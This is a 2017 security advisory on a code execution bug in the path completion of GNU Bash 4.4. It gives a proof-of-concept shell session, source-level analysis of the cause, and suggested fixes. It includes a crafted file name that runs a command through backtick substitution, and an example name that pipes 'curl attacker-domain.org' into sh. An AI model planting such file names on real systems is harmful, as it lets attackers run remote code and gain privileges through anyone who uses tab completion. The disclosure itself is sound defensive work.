GNU Bash code execution vulnerability in path completion

Jens Heyens, Ben Stock

January 2017

1 Introduction

GNU Bash from version 4.4 contains two bugs in its path completion feature leading to a code execution vulnerability. An exploit can be realized by creating a file or directory with a specially crafted name. A user utilizing GNU Bash's built-in path completion by hitting the **Tab** button (f.e. to remove it with `rm`) triggers the exploit without executing a command itself. The vulnerability has been introduced on the *devel*-branch in May 2015.

2 Description

The vulnerability occurs if a file with an opening double quote character(") followed by GNU Bash's built-in command substitution feature (Either `‘<command>‘` or `$(<command>)`) is created. The double quote does not need to be closed. If a user tries to use the autocomplete feature, the command is being executed (if it does not contain a slash(/) character):

```
[heyens@beowulf]$ touch '"‘touch HereBeDragons‘'
[heyens@beowulf]$ ls -lt
insgesamt 0
-rw-r--r--  1 heyens heyens 0 17. Jan 16:03 '"‘touch HereBeDragons‘'
[heyens@beowulf]$ rm \"\‘touch\ HereBeDragons\‘ ^C
[heyens@beowulf]$ ls -lt
insgesamt 0
-rw-r--r--  1 heyens heyens 0 17. Jan 16:04  HereBeDragons
-rw-r--r--  1 heyens heyens 0 17. Jan 16:03 '"‘touch HereBeDragons‘'
```

3 Cause

This vulnerability has been introduced on the *devel*-branch in commit 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [1] and has first been inserted into the 4.4 stable version. Code locations below refer to this commit hash.

There are two functions of GNU Bash's C code leading to this vulnerability the authors considers bugs. For the sake of the argument, let us assume the attacker managed to store a file called "`foo` on disk.

3.1 Double dequoting of `dirname`

In the function `bash_filename_stat_hook`, the code to check whether a file exists was previously inlined. In the commit, a call to `directory_exists` replaces this check (both `bashline.c`):

```
3121    else if (t = mbschr (local_dirname, '`'))      /* XXX */
3122      should_expand_dirname = '`';
3123
3124    if (should_expand_dirname && directory_exists (local_dirname))
3125      should_expand_dirname = 0;
3126
3127    if (should_expand_dirname)
3128      {
3129        new_dirname = savestring (local_dirname);
3130        wl = expand_prompt_string (new_dirname, 0, W_NOCOMSUB);    /* does
              the right thing */
```

Following that call, we observe that the parameter `dirname` is dequoted. However, at this point for a filename to be completed, quotes are already removed.

```
3092    /* First, dequote the directory name */
3093    new_dirname = bash_dequote_filename (dirname,
          rl_completion_quote_character);
3094    dirlen = STRLEN (new_dirname);
3095    if (new_dirname[dirlen - 1] == '/')
3096      new_dirname[dirlen - 1] = '\0';
3097  #if defined (HAVE_LSTAT)
3098    r = lstat (new_dirname, &sb) == 0;
3099  #else
3100    r = stat (new_dirname, &sb) == 0;
3101  #endif
3102    free (new_dirname);
3103    return (r);
```

In essence, this means that if the `dirname` contains a double quote, this will be removed inside `directory_exists` before `(l)stat` is called. Considering our original input, this means that `new_dirname` contains `foo`. This results in the function to return 0, since no file with the stripped name exists.

Going back to the previous function, we observe that in case `should_expand_dirname` is not zero, `expand_prompt_string` is called with the directory name (line 3130). This happens in our case: the file appears to not have been found and we included a ` in its path. However, the correct parameter is passed to ensure that no command substitution is supposed to occur (`W_NOCOMSUB`). This function basically passes these parameters to `expand_word_internal` (`subst.c:8601`) and,

as we'll show in a minute, does not actually '[do] the right thing'.

3.2 Flags not being forwarded in `expand_word_internal`

Looking at the source code of `expand_word_internal`, we observe that it has different case statements to handle, among others, quoted strings. We look at the following snippet, starting at `subst.c:9009`:

```
9009            case '"':
9010              if ((quoted & (Q_DOUBLE_QUOTES|Q_HERE_DOCUMENT)) && ((quoted &
                      Q_ARITH) == 0))
9011                goto add_character;
9012
9013              t_index = ++sindex;
9014              temp = string_extract_double_quoted (string, &sindex, 0);
9015
9016              /* If the quotes surrounded the entire string, then the
9017                 whole word was quoted. */
9018              quoted_state = (t_index == 1 && string[sindex] == '\0')
9019                               ? WHOLLY_QUOTED
9020                               : PARTIALLY_QUOTED;
9021
9022              if (temp && *temp)
9023                {
9024                  tword = alloc_word_desc ();
9025                  tword->word = temp;
9026
9027                  temp = (char *)NULL;
9028
9029                  temp_has_dollar_at = 0;    /* XXX */
9030                  /* Need to get W_HASQUOTEDNULL flag through this function.
                         */
9031                  list = expand_word_internal (tword, Q_DOUBLE_QUOTES, 0, &
                          temp_has_dollar_at, (int *)NULL);
```

In line 9014, everything between opening (and optionally closing) quotes is extracted. In line 9024, a new `WORD_DESC` struct is allocated and the corresponding `word` field is set accordingly. However, the `flags` field is never set. In essence, even though `W_NOCOMSUB` was set for the original string, this flag is not carried on to the newly created string. In line 9031, `expand_word_internal` is called recursively. In this case however, it will be passed `‘foo‘` without any restrictions on command substitution, resulting in the attacker's command being executed with the privileges of the user who ran bash.

4 Impact

We consider the impact of this flaw very high. Assuming an attacker has unprivileged account on a system, dropping a single file with the crafted name into a directory and asking an admin to investigate will elevate his privileges. Even though the vulnerability does not allow for a slash to be contained in the filename, exploitation is trivial:
`some-very-long-string-nobody-is-going-to-type"‘curl attacker-domain.org| sh‘`.

5 Potential fix

The issue is related to two separate bugs. Without deeper knowledge of the code base, we can only guess that passing the flags when recursively calling `expand_word_internal` should suffice to fix the issue. Nevertheless, the dequoting in `directory_exists` in combination with a previously dequoted string should be easily fixable as well.

References

[1] GNU project. GNU Bash at Savannah git (*devel* branch). Available at `http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3`. Accessed: 2017-01-17.